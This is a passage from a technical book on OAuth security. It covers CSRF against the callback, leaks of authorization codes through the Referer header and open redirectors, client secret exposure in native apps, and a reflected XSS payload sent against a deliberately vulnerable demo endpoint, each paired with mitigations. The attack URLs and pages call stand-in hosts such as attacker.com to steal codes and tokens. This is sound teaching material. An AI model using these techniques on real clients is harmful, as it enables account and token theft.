or website to request a specific task URI that executes without the user’s knowledge 
(see figure 7.1).

The most common and effective mitigation is to add an unpredictable element 
in each HTTP request, which is the countermeasure taken by the OAuth specifica-
tion. Let’s see why the use of the state parameter is highly encouraged to avoid CSRF 

Victim Vulnerable
Server

Attacker’s
Server

 

Request page from
attacker’s server

HTML from attacker’s server
contains img or script tag
pointing to action URL on 

vulnerable server.

 

Browser loads the URL in the 
HTML page, sending any session cookies
to the vulnerable server, authenticating

the victim. Loading the URL causes
an action at the vulnerable server.

Figure 7.1  Example of CSRF attack
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and how to produce a proper state parameter to be safely used. We will demonstrate 
this with an example attack.5 Let’s assume there is an OAuth client that supports the 
authorization code grant type. When the OAuth client receives a code parameter on 
its OAuth callback endpoint, it then will trade the received code for an access token. 
Eventually, the access token is passed to the resource server when the client calls an 
API on behalf of the resource owner. To perform the attack, the attacker can simply 
start an OAuth flow and get an authorization code from the target authorization server, 
stopping his “OAuth dance” here. The attacker causes the victim’s client to “consume” 
the attacker’s authorization code. The latter is achieved by creating a malicious page 
in his website, something like:

<img src="https://ouauthclient.com/callback?code=ATTACKER_AUTHORIZATION_CODE">

and convince the victim to visit it (figure 7.2). 
This would have the net effect of the resource owner having his client application 

connected with the attacker’s authorization context. This has disastrous consequences 
when the OAuth protocol is used for authentication, which is further discussed in 
chapter 13.

5 � http://homakov.blogspot.ch/2012/07/saferweb-most-common-oauth2.html
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Figure 7.2  Example of OAuth CSRF attack
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The mitigation for an OAuth client is to generate an unguessable state parameter 
and pass it along to the first call to the authorization server. The authorization server is 
required by the specification to return this value as-is as one of the parameters to the redi-
rect URI. Then when the redirect URI is called, the client checks the value of the state 
parameter. If it is absent or if it doesn’t match the value originally passed, the client can 
terminate the flow with an error. This prevents an attacker from using their own authori-
zation code and injecting it into an unsuspecting victim’s client. 

One natural question that can easily arise is what this state parameter should look 
like. The specification doesn’t help too much because it’s pretty vague:6 

The probability of an attacker guessing generated tokens (and other credentials not 
intended for handling by end-users) MUST be less than or equal to 2 -128 and SHOULD 
be less than or equal to 2 -160.

In our client exercises from chapter 3 and elsewhere, the client code randomly gener-
ates the state by performing:

state = randomstring.generate();

In Java, you could instead do:

String state = new BigInteger(130, new SecureRandom()).toString(32);

The generated state value can then be stored either in the cookie or, more appropri-
ately, in the session and used subsequently to perform the check as explained earlier. 
Although the use of state isn’t explicitly enforced by the specification, it is considered 
best practice and its presence is needed to defend against CSRF.

7.3	 Theft of client credentials
The OAuth core specification specifies four different grant types. Each grant type is 
designed with different security and deployment aspects in mind and should be used 
accordingly, as discussed in chapter 6. For example, the implicit grant flow is to be 
used by OAuth clients where the client code executes within the user agent environ-
ment. Such clients are generally JavaScript-only applications, which have, of course, 
limited capability of hiding the client_secret in client side code running in the 
browser. On the other side of the fence there are classic server-side applications that 
can use the authorization code grant type and can safely store the client_secret 
somewhere in the server.

What about native applications? We have already seen in chapter 6 when to use 
which grant type, and as a reminder it isn’t recommended that native applications use 
the implicit flow. It is important to understand that for a native application, even if the 
client_secret is somehow hidden in the compiled code it must not be considered 
as a secret. Even the most arcane artifact can be decompiled and the client_secret 
is then no longer that secret. The same principle applies to mobile clients and desktop 

6 � https://tools.ietf.org/html/rfc6749#section-10.10
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native applications. Failing to remember this simple principle might lead to disaster.7 
In chapter 12 we’re going to discuss in detail how to use dynamic client registration 
to configure the client_secret at runtime. Without going into much depth in this 
topic here, in the following exercise ch-7-ex-0, we’re going to plug dynamic regis-
tration in the native application we developed in chapter 6. Open up ch-7-ex-1 and 
execute the setup commands as before in the native-client directory:

> npm install -g cordova
> npm install ios-sim
> cordova platform add ios
> cordova plugin add cordova-plugin-inappbrowser
> cordova plugin add cordova-plugin-customurlscheme --variable URL_
SCHEME=com.oauthinaction.mynativeapp

Now you’re ready to open up the www folder and edit the index.html file. We won’t 
be editing the other files in this exercise, though you’ll still need to run the authoriza-
tion server and protected resource projects during this exercise, as usual. In the file, 
locate the client variable and specifically the client information and note that the 
client_id and client_secret parts are empty.

var client = {

  'client_name': 'Native OAuth Client',

  'client_id': '',

  'client_secret': '',

  'redirect_uris': ['com.oauthinaction.mynativeapp:/'],

  'scope': 'foo bar'

};

This information will be available at runtime after the dynamic registration phase 
is concluded. Now locate the authorization server information and add the 
registrationEndpoint.

var authServer = {

	 authorizationEndpoint: 'http://localhost:9001/authorize',

	 tokenEndpoint: 'http://localhost:9001/token',

	 registrationEndpoint: 'http://localhost:9001/register'
};

Finally, we need to plug the dynamic registration request when the application first 
requests an OAuth token, if it doesn’t already have a client ID.

if (!client.client_id) {

	 $.ajax({

		  url: authServer.registrationEndpoint,

		  type: 'POST',

		  data: client,

		  crossDomain: true,

		  dataType: 'json'             

	 }).done(function(data) {

		  client.client_id = data.client_id;

7 � http://stephensclafani.com/2014/07/29/hacking-facebooks-legacy-api-part-2-stealing-user-
sessions/
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		  client.client_secret = data.client_secret;

	 }).fail(function() {

		�  $('.oauth-protected-resource').text('Error while fetching registration 

endpoint');

	 });  

We’re now ready to run our modified native application

> cordova run ios

This should pull up the application in a mobile phone simulator. If you start the usual 
OAuth flow, you can now appreciate that both the client_id and client_secret 
have been freshly generated, and these will be different for any instance of the native 
application. This will solve the issue of having the client_secret shipped with the 
native application artifact. 

A production instance of such a native application would, of course, store this informa-
tion so that each installation of the client software will register itself once on startup, but not 
every time the user launches it. No two instances of the client application will have access to 
each other’s credentials, and the authorization server can differentiate between instances.

7.4	 Registration of the redirect URI
It is extremely important to pay particular attention when choosing the registered 
redirect_uri when the new OAuth client is created at the authorization server, spe-
cifically the redirect_uri must be as specific as it can be. For example, if your OAuth 
client’s callback is 

https://yourouauthclient.com/oauth/oauthprovider/callback 

then DO register the entire URL

https://yourouauthclient.com/oauth/oauthprovider/callback

and NOT only the domain

https://yourouauthclient.com/

and NOT only part of the path

https://yourouauthclient.com/oauth

If you’re not careful with redirect_uri registration requirements, token hijacking 
attacks become significantly easier than you might think. Even big players with profes-
sional security audits have done it wrong.8

The main reason behind this is that sometimes authorization servers use different 
redirect_uri validation policies. As we’ll see in chapter 9, the only reliably safe vali-
dation method the authorization server should adopt is exact matching. All the other 
potential solutions, based on regular expressions or allowing subdirectories of the reg-
istered redirect_uri, are suboptimal and sometimes even dangerous.

8 � http://intothesymmetry.blogspot.it/2015/06/on-oauth-token-hijacks-for-fun-and.html
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To better understand what allowing subdirectory validation policy means in this case, 
see table 7.1.

As seen in table 7.1, when the OAuth provider uses the allowing subdirectory method for 
matching the redirect_uri, there is certain flexibility on the redirect_uri request 
parameter (for an additional example, see the GitHub API security documentation9).

Now it isn’t necessarily true that having an authorization server that uses the allow-
ing subdirectory validation strategy is bad, on its own. But when combined with an 
OAuth client registering a “too loose” redirect_uri, this is indeed lethal. In addition, 
the larger the OAuth client’s internet exposure, the easier it is to find a loophole to 
exploit this vulnerability. 

7.4.1	 Stealing the authorization code through the referrer

The first attack described targets the authorization code grant type and is based on 
information leakage through the HTTP referrer. At the end of it, the attacker manages 
to hijack the resource owner’s authorization code. To understand this attack, it’s nec-
essary to know what a referrer is and when it’s used. The HTTP referrer (misspelled 
as “referer” in the spec) is an HTTP header field that browsers (and HTTP clients in 
general) attach when surfing from one page to another. In this way, the new web page 
can see where the request came from, such as an incoming link from a remote site.

Let’s assume you just registered an OAuth client to one OAuth provider that has 
an authorization server that uses the allowing subdirectory validation strategy for 
redirect_uri.

Your OAuth callback endpoint is 

https://yourouauthclient.com/oauth/oauthprovider/callback 

but you registered as 

https://yourouauthclient.com/

9 � https://developer.github.com/v3/oauth/#redirect-urls (June 2015)

Table 7.1  Allowing subdirectory validation policy

Registered URL: http://example.com/path Match?

https://example.com/path Yes

https://example.com/path/subdir/other Yes

https://example.com/bar No

https://example.com No

https://example.com:8080/path No

https://other.example.com:8080/path No

https://example.org No
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An excerpt of the request originated by your OAuth client while performing the 
OAuth integration might look like 

https://oauthprovider.com/authorize?response_type=code&client_id=CLIENT_ID&sc

ope=SCOPES&state=STATE&redirect_uri=https://yourouauthclient.com/

This particular OAuth provider adopts the allowing subdirectory validation strategy 
for redirect_uri, and therefore validates only the start of the URI and considers 
the request as valid if everything else is appended after the registered redirect_uri. 
Hence the registered redirect_uri is perfectly valid under a functional point of view, 
and things are good so far.

The attacker also needs to be able to create a page on the target site underneath the 
registered redirect URI, for example: 

https://yourouauthclient.com/usergeneratedcontent/attackerpage.html

From here, it’s enough for the attacker to craft a special URI of this form: 

https://oauthprovider.com/authorize?response_type=code&client_id=CLIENT_ID

&scope=SCOPES&state=STATE&redirect_uri=https://yourouauthclient.com/
usergeneratedcontent/attackerpage.html

and make the victim click on it, through any number of phishing techniques.
Note that the crafted URI contains a redirect_uri pointing to the attacker’s page, 

which is a subdirectory of the valid registered redirect URI for the client. The attacker 
was then able to change the flow to something like what is shown in figure 7.3.

Resource
Owner Authorization

Server

Client Attacker

Authorization server
redirects to a page
controlled by the 
Attacker with the
 authorization code 

Figure 7.3  Stolen authorization code
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Since you registered https://yourouauthclient.com as redirect_uri and 
the OAuth provider adopts an allowing subdirectory validation strategy, https:// 
yourouauthclient.com/usergeneratedcontent/attackerpage.html is a per-
fectly valid redirect_uri for your client. 

Remember some things that we have already learned:

■■ Often, resource owners need to authorize an OAuth client only once (at the 
first occurrence; see Trust On First Use (TOFU) in chapter 1). This means that 
all the subsequent calls will skip the manual consent screen as long as the server 
believes the request is from the same client and for the same access rights.

■■ People tend to trust companies that have proven records on security, so there is 
a good chance that this doesn’t switch the “anti-phishing alarm” on for the user.

That said, now that this is enough to “convince” the victim to click the crafted link and 
go through the authorization endpoint, the victim then will end up with something like 

https://yourouauthclient.com/usergeneratedcontent/attackerpage.html?code 

=e8e0dc1c-2258-6cca-72f3-7dbe0ca97a0b 

Note the code request parameter ends up being attached in the URI of the malicious 
post. You might be thinking that the attacker would need to have access to server-side 
processing in order to extract the code from that URI, functionality generally not avail-
able to user-generated content pages. Or perhaps the attacker would require the ability 
to inject arbitrary JavaScript into the page, which is often filtered out from user-gen-
erated content. However, let’s have a closer look at the code of attackerpage.html:

<html> 

	 <h1>Authorization in progress </h1>

	 <img src="https://attackersite.com/">
</html>

This simple page could look completely normal to a resource owner. In fact, since it 
doesn’t even have any JavaScript or other functional code, it could even be embedded 
into another page. But in the background, the victim’s browser will load the embedded 
img tag for a resource at the attacker’s server. In that call, the HTTP Referer header 
will leak the authorization code (figure 7.4). 

Extracting the authorization code from the Referer is simple for the attacker 
because it’s delivered to him with the HTTP request for the embedded img tag in the 
attacker’s page. 

Where is my Referrer?

The URI in the attacker’s post must be an https URI. Indeed, as per section 15.1.3 
(Encoding Sensitive Information in URI’s) of HTTP RFC [RFC 2616]:

Clients SHOULD NOT include a Referer header field in a (non-secure) HTTP request 
if the referring page was transferred with a secure protocol.

This is summarized in figure 7.5.
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Figure 7.4  Hijacking of the authorization code
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7.4.2	 Stealing the token through an open redirector

Another attack occurs along the lines discussed in the previous section, but this one 
is based on the implicit grant type. This attack also targets the access token rather 
than the authorization code. To understand this attack, you need to understand how 
the URI fragment (the part after the #) is handled by browsers on HTTP redirect 
responses (HTTP 301/302 responses). Although you might know that fragment is the 
optional last part of a URI for a document, it isn’t intuitive what happens to the frag-
ment upon redirect. To offer a concrete example: if an HTTP request /bar#foo has a 
302 response with Location /qux, is the #foo part appended to the new URI (namely, 
the new request is /qux#foo) or not (namely, the new request is /qux)?

What the majority of browsers do at the moment is to preserve the original fragment 
on redirect: that is, the new request is on the form /qux#foo. Also remember that frag-
ments are never sent to the server, as they’re intended to be used inside the browser 
itself. Having this in mind, the following attack is based on another common web vulner-
ability called open redirect. This is also listed by the OWASP Top Ten10 that defines it as

an application that takes a parameter and redirects a user to the parameter value without 
any validation. This vulnerability is used in phishing attacks to get users to visit mali-
cious sites without realizing it.

There is still some debate11 about this class of vulnerability because often they’re rela-
tively benign, but not always,12 as we can see later in this and subsequent chapters.

The attack here is similar to the previous one and all the premises we have estab-
lished there remain: “too open” registered redirect_uri and authorization server that 
uses an allowing subdirectory validation strategy. As the leakage here happens through an 
open redirect rather than using the referrer, you also need to assume that the OAuth 
client’s domain has an open redirect, for example: https://yourouauthclient.com/ 
redirector?goto=http://targetwebsite.com. As previously mentioned, there are 
fair chances that this kind of entry point exists on a website (even in the OAuth con-
text13). We’re going to treat open redirector extensively in chapter 9 in the context of 
the authorization server.

Let’s combine what we have discussed so far:

■■ The majority of browsers do preserve the original URI fragment on redirect.
■■ Open redirector is an underestimated class of vulnerability
■■ The discussion about “too loose” redirect_uri registration.

The attacker can craft a URI like this:

https://oauthprovider.com/authorize?response_type=token&client_id=CLIENT_

ID&scope=SCOPES&state=STATE&redirect_uri=https://yourouauthclient.com/
redirector?goto=https://attacker.com

10 � https://www.owasp.org/index.php/Top_10_2013-A10-Unvalidated_Redirects_and_Forwards
11 � https://sites.google.com/site/bughunteruniversity/nonvuln/open-redirect
12 � http://andrisatteka.blogspot.ch/2015/04/google-microsoft-and-token-leaks.html
13 � https://hackerone.com/reports/26962
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If the resource owner has already authorized the application using TOFU, or if they 
can be convinced to authorize the application again, the resource owner’s user agent 
is redirected to the passed-in redirect_uri with the access_token appended in the 
URI fragment:

https://yourouauthclient.com/redirector?goto=https://attacker.com#access_
token=2YotnFZFEjr1zCsicMWpAA

At this point, the open redirect in the client application forwards the user agent to the 
attacker’s website. Since URI fragments survive redirects in most browsers, the final 
landing page will be:

https://attacker.com#access_token=2YotnFZFEjr1zCsicMWpAA

Now it’s trivial for the attacker to steal the access token. Indeed, it’s enough to read the 
delivered location.hash using JavaScript code (figure 7.6). 

Both the attacks discussed above can be mitigated by the same simple practice. 
By registering the most specific redirect_uri possible, that would correspond to 
https://yourouauthclient.com/oauth/oauthprovider/callback in our exam-
ple, the client can avoid having the attacker take over control of its OAuth domain. 
Obviously, you need to design your client application to avoid letting an attacker create 
a page under https://yourouauthclient.com/oauth/oauthprovider/callback 
as well; otherwise, you’re back to square one. However, the more specific and direct 
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Figure 7.6  Hijacking of the access token through the fragment
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the registration is, the less likely it is for there to be a matching URI under the control 
of a malicious party. 

7.5	 Theft of authorization codes
If the attacker hijacked the authorization code, can they “steal” anything, such as the 
resource owner’s personal information as email, contact information, and so on? Not 
quite yet. Remember that the authorization code is still an intermediate step between 
the OAuth client and the access token, which is the final goal of the attacker. To trade 
the authorization code for an access token, the client_secret is needed, and this is 
something that must be closely protected. But if the client is a public client, it will have 
no client secret and therefore the authorization code can be used by anyone. With a 
confidential client, an attacker can either try to maliciously obtain the client secret, as 
seen in section 7.2, or attempt to trick the OAuth client into performing a sort of CSRF 
similar to the one we have seen in section 7.1. We’re going to describe the latter case 
in chapter 9 and view its effects there.

7.6	 Theft of tokens
The ultimate goal for an attacker that focuses their attention on an OAuth aware target is 
to steal an access token. The access token lets the attacker perform all kinds of operations 
that they were never intended to be able to do. We already saw how OAuth clients send 
access tokens to resource servers to consume APIs. This is usually done by passing the 
bearer token as a request header (Authorization: Bearer access_token_value). RFC 
6750 defines two other ways to pass the bearer token along. One of those, the URI query 
parameter,14 states that clients can send the access token in the URI using the access_
token query parameter. Although the simplicity makes its use tempting, there are many 
drawbacks to using this method for submitting the access token to a protected resource. 

■■ The access token ends up being logged in access.log files as part of the URI.15

■■ People tend to be indiscriminate in what they copy and paste in a public forum 
when searching for answers (for example, Stackoverflow). This might well end 
up having the access token being pasted in one of these forums through HTTP 
transcripts or access URLs.

■■ There is a risk of access token leakage through the referrer similar to the one we 
have seen in the previous section, because the referrer includes the entire URL.

This last method can be used to steal access tokens.16 
Let’s assume there is an OAuth client that sends the access token in the URI to the 

resource server, using something like the following:

https://oauthapi.com/data/feed/api/user.html?access_token=2YotnFZFEjr1zCsicMWp

14 � https://tools.ietf.org/html/rfc6750#section-2.3
15 � http://thehackernews.com/2013/10/vulnerability-in-facebook-app-allows.html
16 � http://intothesymmetry.blogspot.it/2015/10/on-oauth-token-hijacks-for-fun-and.html
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If an attacker is able to place even a simple link to this target page (data/feed/api/
user.html) then the Referer header will disclose the access token (figure 7.7).

Using the standard Authorization header avoids these kinds of issues, because the 
access token doesn’t show up in the URL. Although the query parameter is still a valid 
method for OAuth, clients should use it only as a last resort and with extreme caution. 

Authorization Server Mix-Up

In January 2016, a security advisory was posted to the OAuth working group mailing 
list describing an Authorization Server Mix-Up discovered separately by researchers 
from the University of Trier and the Ruhr-University Bochum. The attack might affect 
OAuth clients that have client IDs issued by more than one authorization server, 
effectively tricking a client to send secrets (including client secrets and authorization 
codes) from one server to another malicious server. Details about the attack can be 
found online.17 At the time of writing this book, the IETF OAuth working group is work-
ing on a standardized solution. As a temporary mitigation, a client should register 
a different redirect_uri value with each authorization server. This will allow it to 
differentiate between requests without getting callbacks confused.

17 � http://arxiv.org/abs/1601.01229 and http://arxiv.org/pdf/1508.04324.pdf
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Figure 7.7  Hijacking of access token through the query parameter
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7.7	 Native applications best practices
In chapter 6, we discussed and built a native application. We have seen that native 
applications are OAuth clients that run directly on the end user’s device, which these 
days usually means a mobile platform. Historically, one of the weaknesses of OAuth was 
a poor end-user experience on mobile devices. To help smooth the user experience, it 
was common for native OAuth clients to leverage a “web-view” component when send-
ing the user to the authorization server’s authorization endpoint (interacting with the 
front channel). A web-view is a system component that allows applications to display 
web content within the UI of an application. The web-view acts as an embedded user-
agent, separate from the system browser. Unfortunately, the web-view has a long his-
tory of security vulnerabilities and concerns that come with it. Most notably, the client 
applications can inspect the contents of the web-view component, and would there-
fore be able to eavesdrop on the end-user credentials when they authenticated to the 
authorization server. Since a major focus of OAuth is keeping the user’s credentials out 
of the hands of the client applications entirely, this is counterproductive. The usability 
of the web-view component is far from ideal. Because it’s embedded inside the applica-
tion itself, the web-view doesn’t have access to the system browser’s cookies, memory, 
or session information. Accordingly, the web-view doesn’t have access to any existing 
authentication sessions, forcing users to sign in multiple times. 

Native OAuth clients can make HTTP requests exclusively through external user-
agents such as the system browser (as we have done in the native application we built 
in chapter 6). A great advantage of using a system browser is that the resource owner 
is able to see the URI address bar, which acts as a great anti-phishing defense. It also 
helps train users to put their credentials only into trusted websites and not into any 
application that asks for them.

In recent mobile operating systems, a third option has been added that combines 
the best of both of these approaches. In this mode, a special web-view style compo-
nent is made available to the application developer. This component can be embed-
ded within the application as in a traditional web-view. However, this new component 
shares the same security model as the system browser itself, allowing single-sign-on user 
experiences. Furthermore, it isn’t able to be inspected by the host application, leading 
to greater security separation on par with using an external system browser.

In order to capture this and other security and usability issues that are unique to 
native applications, the OAuth working group is working on a new document called 
“OAuth 2.0 for Native Apps.”18 Other recommendations listed in the document include 
the following:

■■ For custom redirect URI schemes, pick a scheme that is globally unique and 
which you can assert ownership over. One way of doing this is to use reversed 
DNS notation, as we have done in our example application: com.oauthinaction 
.mynativeapp:/. This approach is a good way to avoid clashing with schemes 

18 � https://tools.ietf.org/html/draft-ietf-oauth-native-apps-01
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used by other applications that could lead to a potential authorization code 
interception attack.

■■ In order to mitigate some of the risk associated with authorization code intercep-
tion attack, it’s a good idea to use Proof Key for Code Exchange (PKCE). We’ll 
discuss PKCE in detail in chapter 10, where we also include a hands-on exercise.

These simple considerations can substantially improve the security and usability of 
native applications that use OAuth.

7.8	 Summary 
OAuth is a well-designed protocol, but to avoid security pitfalls and common mistakes 
the implementer needs to understand all its details. In this chapter, we’ve seen how it’s 
relatively easy to steal an authorization code or an access token from an OAuth client 
that didn’t pay close attention to registering its redirect_uri. In some situations, the 
attacker is also able to maliciously trade the stolen authorization code with an access 
token or to perform a sort of CSRF attack using the authorization code. 

■■ Use the state parameter as suggested in the specification (even if it isn’t 
mandatory).

■■ Understand and carefully choose the correct grant (flow) your application needs 
to use.

■■ Native applications shouldn’t use the implicit flow, as it’s intended for in-browser 
clients.

■■ Native clients can’t protect a client_secret unless it’s configured at runtime as 
in the dynamic registration case.

■■ The registered redirect_uri must be as specific as it can be.
■■ Do NOT pass the access_token as a URI parameter if you can avoid it.

Now that we’ve locked down our clients, let’s take a look at a few of the ways that we 
can protect our protected resources.
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8	Common protected resources 
vulnerabilities

This chapter covers
■  ■ Avoiding common implementation vulnerabilities in protected resources

■  ■ Counting known attacks against protected resources

■  ■ Benefiting from modern browser protections when designing a protected 
resource’s endpoint

In the previous chapter, we reviewed common attacks against OAuth clients. Now 
it’s time to see how to protect a resource server and defend against common attacks 
targeting OAuth protected resources. In this chapter, we’re going to learn how to 
design resource endpoints to minimize the risk of token spoofing and token replay. 
We’ll also see how we can leverage modern browsers’ protection mechanisms to 
make the designer’s life easier. 

8.1	 How are protected resources vulnerable?
Protected resources are vulnerable in a number of ways, the first and most obvious 
being that access tokens can leak, giving an attacker data about protected resources. 
This can happen via token hijacking, as seen in the previous chapter, or because 
the token has weak entropy or an overly wide scope. Another issue related to pro-
tected resources is that the endpoints can be vulnerable to cross-site scripting (XSS) 
attacks. Indeed, if the resource server chooses to support access_token as a URI 
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parameter,1 the attacker can forge a URI containing the XSS attack and then use social 
engineering to trick a victim into following that link.2 This can be as simple as a blog 
post with a review of the application, inviting people to try it out. When someone clicks 
on that link, the malicious JavaScript is then executed.

What is XSS?

Cross-site scripting (XSS) is the Open Web Application Security Project’s (OWASP) 
Top Ten number three3 and is by far the most prevalent web application security flaw. 
Malicious scripts are injected into otherwise benign and trusted websites to bypass 
access controls such as the same-origin policy. As a result, an attacker might inject 
a script and modify the web application to suit their own purposes, such as extracting 
data that will allow the attacker to impersonate an authenticated user or perhaps to 
input malicious code for the browser to execute.

8.2	 Design of a protected resource endpoint
Designing a web API is a rather complex exercise (as it is for any API) and many fac-
tors should be taken in consideration. In this section, you’ll learn how to design a safe 
web API that leverages all the help provided in a modern browser. If you’re design-
ing a REST API in which the result response is driven by some user input, the risk of 
encountering an XSS vulnerability is high. We need to leverage as much as possible 
the features provided by modern browsers in combination with some common best 
practices at any point that a resource is exposed on the web. 

As a concrete example, we’re going to introduce a new endpoint (/helloWorld) 
together with a new scope (greeting). This new API will look like:

GET /helloWorld?language={language}

This endpoint is rather simple: it greets the user in language taken as input. Currently 
supported languages are found in table 8.1. Other language inputs will produce an error.

Table 8.1  Supported languages in our test API

Key Value

en English

de German

it Italian

fr French

es Spanish

1 � RFC 6750 https://tools.ietf.org/html/rfc6750#section-2.3
2 � http://intothesymmetry.blogspot.ch/2014/09/bounty-leftover-part-2-target-google.html
3 � https://www.owasp.org/index.php/Top_10_2013-A3-Cross-Site_Scripting_(XSS)
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8.2.1	 How to protect a resource endpoint 

You can see an implementation of this endpoint in ch-8-ex-1. Open up the  
protectedResource.js file in that folder. If you scroll down to the bottom of this  
file, you can see the fairly simple implementation of our functionality.

app.get("/helloWorld", getAccessToken, function(req, res){

	 if (req.access_token) {

		  if (req.query.language == "en") {

			   res.send('Hello World');

		  } else if (req.query.language == "de") {

			   res.send('Hallo Welt');

		  } else if (req.query.language == "it") {

			   res.send('Ciao Mondo');

		  } else if (req.query.language == "fr") {

			   res.send('Bonjour monde');

		  } else if (req.query.language == "es") {

			   res.send('Hola mundo');

		  } else {

			   res.send("Error, invalid language: "+ req.query.language);

		  }

	 }

});

To give the previous example a try, run all three components simultaneously and do 
the usual “OAuth dance” as in figure 8.1.

By clicking on the Greet In button, you can then request a greeting in English, which 
causes the client to call the protected resource and display the results (figure 8.2). 

Figure 8.1  Access token with greeting scope

Figure 8.2  Greeting in English
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It’s also possible to directly hit the resource endpoint passing an access_token by 
using a command line HTTP client such as curl:4

> curl -v -H "Authorization: Bearer TOKEN"  
http://localhost:9002/helloWorld?language=en

Or leveraging the previous URI parameter support for access_token:

> curl -v "http://localhost:9002/helloWorld?access_token=TOKEN&language=en"

In both cases, the result will be something like the following response that shows a 
greeting in English:

HTTP/1.1 200 OK

X-Powered-By: Express

Content-Type: text/html; charset=utf-8

Content-Length: 11

Date: Mon, 25 Jan 2016 21:23:26 GMT

Connection: keep-alive

Hello World

Now let’s try hitting the /helloWorld endpoint by passing an invalid language:

> curl -v "http://localhost:9002/helloWorld?access_token=TOKEN&language=fi"

4 � https://curl.haxx.se/

Figure 8.3  Greeting in German

Figure 8.4  Invalid language

Selecting a different language (for example, German) will then display what we see in 
figure 8.3.

If the language isn’t supported, an error message will be shown, as in figure 8.4.
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The response is something like the following, which shows an error message because 
Finnish isn’t one of the supported languages:

HTTP/1.1 200 OK

Content-Type: text/html; charset=utf-8

Content-Length: 27

Date: Tue, 26 Jan 2016 16:25:00 GMT

Connection: keep-alive

Error, invalid language: fi

So far, so good. But as any bug hunter will notice, it seems that the error response of 
the  /helloWorld endpoint is designed in a way that the erroneous input bounces 
back into the response. Let’s try to push this further and pass a nasty payload.

> curl -v   "http://localhost:9002/helloWorld?access_token=TOKEN&language=<sc
ript>alert('XSS')</script>"

which will yield:

HTTP/1.1 200 OK

Content-Type: text/html; charset=utf-8

Content-Length: 59

Date: Tue, 26 Jan 2016 17:02:16 GMT

Connection: keep-alive

Error, invalid language: <script>alert('XSS')</script>

As you can see, the provided payload is returned verbatim and unsanitized. At this 
point, the suspicion that this endpoint is susceptible to XSS is more than likely true, 
and the next step is pretty simple. In order to exploit this, an attacker would forge a 
malicious URI pointing to the protected resource:

http://localhost:9002/helloWorld?access_token=TOKEN&language=<script>alert( 

'XSS')</script>

When the victim clicks on it, the attack is completed, forcing the JavaScript to execute 
(figure 8.5).

Figure 8.5  XSS in the protected resource endpoint
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Of course, a real attack would not contain a simple JavaScript alert, but would rather 
use some malicious code that, for example, would extract data to allow the attacker to 
impersonate an authenticated user. Our endpoint is clearly vulnerable to XSS attack, 
so we need to fix it. At this point, the recommended approach is to properly escape all 
untrusted data. We’re using URL encoding here.

app.get("/helloWorld", getAccessToken, function(req, res){

	 if (req.access_token) {

		  if (req.query.language == "en") {

			   res.send('Hello World');

		  } else if (req.query.language == "de") {

			   res.send('Hallo Welt');

		  } else if (req.query.language == "it") {

			   res.send('Ciao Mondo');

		  } else if (req.query.language == "fr") {

			   res.send('Bonjour monde');

		  } else if (req.query.language == "es") {

			   res.send('Hola mundo');

		  } else {

			   res.send("Error, invalid language: "+					  

                 querystring.escape(req.query.language));
		  }

	 }

});

With this fix in place now, the error response of the forged request would be some-
thing like the following:

HTTP/1.1 200 OK

X-Powered-By: Express

Content-Type: text/html; charset=utf-8

Content-Length: 80

Date: Tue, 26 Jan 2016 17:36:29 GMT

Connection: keep-alive

Error, invalid language:  

%3Cscript%3Ealert(%E2%80%98XSS%E2%80%99)%3C%2Fscript%3E

Consequently, the browser will render the response without executing the rouge script 
(figure 8.6). Are we done? Well, not quite yet. Output sanitization is the preferred 
approach for defending against XSS, but is it the only one? The problem with output 
sanitization is that developers often forget about it, and even if they forget to validate 
one single input field, we’re back to square one in terms of XSS protection. Browser 
vendors try hard to stop XSS and ship a series of features as mitigation, one of the 
most important being returning the right Content-Type for the protected resource 
endpoint.

By definition,5 the Content-Type entity-header field indicates the media type of the 
entity-body sent to the recipient or, in the case of the HEAD method, the media type 
that would have been sent had the request been a GET. 

5 � RFC 7231 https://tools.ietf.org/html/rfc7231#section-3.1.1.5
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Returning the proper Content-Type might save a lot of headaches. Returning to our 
original unsanitized /helloWorld endpoint, let’s see how we can improve the situa-
tion. The original response looked like this:

HTTP/1.1 200 OK

X-Powered-By: Express

Content-Type: text/html; charset=utf-8
Content-Length: 27

Date: Tue, 26 Jan 2016 16:25:00 GMT

Connection: keep-alive

Error, invalid language: fi

Here, the Content-Type is text/html. This might explain why the browser happily 
executed the rogue JavaScript in the shown XSS attack. Let’s try using a different Con-
tent-Type like application/json:

app.get("/helloWorld", getAccessToken, function(req, res){

	 if (req.access_token) {

		  var resource = {
			   "greeting" : ""
		  };
		  if (req.query.language == "en") {

			   resource.greeting = 'Hello World';

		  } else if (req.query.language == "de") {

			   resource.greeting ='Hallo Welt';

		  } else if (req.query.language == "it") {

			   resource.greeting = 'Ciao Mondo';

Figure 8.6  Sanitized response in the protected resource endpoint
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		  } else if (req.query.language == "fr") {

			   resource.greeting = 'Bonjour monde';

		  } else if (req.query.language == "es") {

			   resource.greeting ='Hola mundo';

		  } else {

			�   resource.greeting = "Error, invalid language: "+           

req.query.language;

		  }

		  res.json(resource);
	 }

});

In this case,

> curl -v "http://localhost:9002/helloWorld?access_token=TOKEN&language=en"

will return

HTTP/1.1 200 OK

X-Powered-By: Express

Content-Type: application/json; charset=utf-8

Content-Length: 33

Date: Tue, 26 Jan 2016 20:19:05 GMT

Connection: keep-alive

{"greeting": "Hello World"}

and

> curl -v   "http://localhost:9002/helloWorld?access_token=TOKEN&language=<sc
ript>alert('XSS')</script>"

will yield the following output:

HTTP/1.1 200 OK

X-Powered-By: Express

Content-Type: application/json; charset=utf-8
Content-Length: 76

Date: Tue, 26 Jan 2016 20:21:15 GMT

Connection: keep-alive

{"greeting": "Error, invalid language: <script>alert('XSS')</script>" }

Notice that the output string isn’t sanitized or encoded in any way, but it is now enclosed 
in a JSON string value. If we try this straight in the browser, we can appreciate that hav-
ing the proper Content-Type immediately stops the attack on its own (figure 8.7).

Figure 8.7  Content-Type application/json in the protected resource endpoint
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This happens because browsers respect the “contract” associated with the  
application/json Content-Type and refuse to execute JavaScript if the returned 
resource is in this form. It’s still entirely possible for a poorly written client applica-
tion to inject the JSON output into an HTML page without escaping the string, which 
would lead to the execution of the malicious code. As we said, this is just a mitigation, 
and it’s still a good practice to always sanitize the output. We combine these into the 
following:

app.get("/helloWorld", getAccessToken, function(req, res){

	 if (req.access_token) {

		  var resource = {

			   "greeting" : ""

		  };

		  if (req.query.language == "en") {

			   resource.greeting = 'Hello World';

		  } else if (req.query.language == "de") {

			   resource.greeting ='Hallo Welt';

		  } else if (req.query.language == "it") {

			   resource.greeting = 'Ciao Mondo';

		  } else if (req.query.language == "fr") {

			   resource.greeting = 'Bonjour monde';

		  } else if (req.query.language == "es") {

